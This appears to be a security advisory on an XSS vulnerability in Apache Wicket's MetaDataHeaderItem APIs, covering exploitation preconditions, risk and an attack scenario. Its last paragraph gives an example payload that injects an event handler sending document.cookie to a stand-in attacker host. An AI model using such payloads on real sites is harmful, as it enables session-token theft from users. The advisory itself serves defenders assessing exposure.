Apache Wicket CVE-2026-76984

Exploitation requires that the target application passes attacker-influenced data to org.apache.wicket.markup.head.MetaDataHeaderItem via the addTagAttribute method or the forMetaTag and forLinkTag factory methods, where that data reaches a tag attribute value position. The value may be supplied through the IModel interface and does not need to be a compile-time literal string, meaning indirect data flows through model resolution are in scope. Applications that invoke these APIs exclusively with developer-controlled, hardcoded values are not affected - there is no universal exposure of all Wicket deployments. No authentication is required on the attacker side; the attacker need only be able to supply input that traverses application logic into these specific calls. User interaction by a victim (loading the affected page) is required for XSS payload execution. Scope is limited to browsers rendering pages built with the affected MetaDataHeaderItem APIs.

Real-world risk is moderate and strongly application-dependent: only deployments that pass externally influenced data into MetaDataHeaderItem via addTagAttribute, forMetaTag, or forLinkTag are exploitable - applications using only developer-controlled literal values are unaffected. No CVSS vector or base score is available in the source data, and no EPSS probability has been published, limiting quantitative prioritization. The vulnerability is absent from CISA KEV and no public exploit code exists at time of analysis. The primary limiting factor is application-level coupling: an attacker must be able to supply input that reaches these specific header-tag construction calls without prior sanitization. Despite those constraints, the breadth of affected release lines (three concurrent major branches) means the aggregate exposed surface across the Wicket ecosystem is non-trivial, and organizations running Wicket-based web applications with any user-supplied content flowing into page metadata should treat patching as urgent. The IModel resolution path is a relevant wrinkle - indirect data flows through model objects may not be obvious to developers auditing exposure, making conservative patching preferable to manual triage.

An attacker submits a crafted input - such as a URL parameter, form field, or profile value - containing a double-quote followed by a JavaScript event handler payload (e.g., " onload=fetch('https://attacker.example/?c='+document.cookie)). If the application passes this value as a MetaDataHeaderItem attribute value, the rendered page includes the injected handler in a <meta> or <link> tag. When an authenticated user loads the page, the event handler fires in their browser session, enabling session token exfiltration or further client-side attacks. No public exploit code has been identified at time of analysis.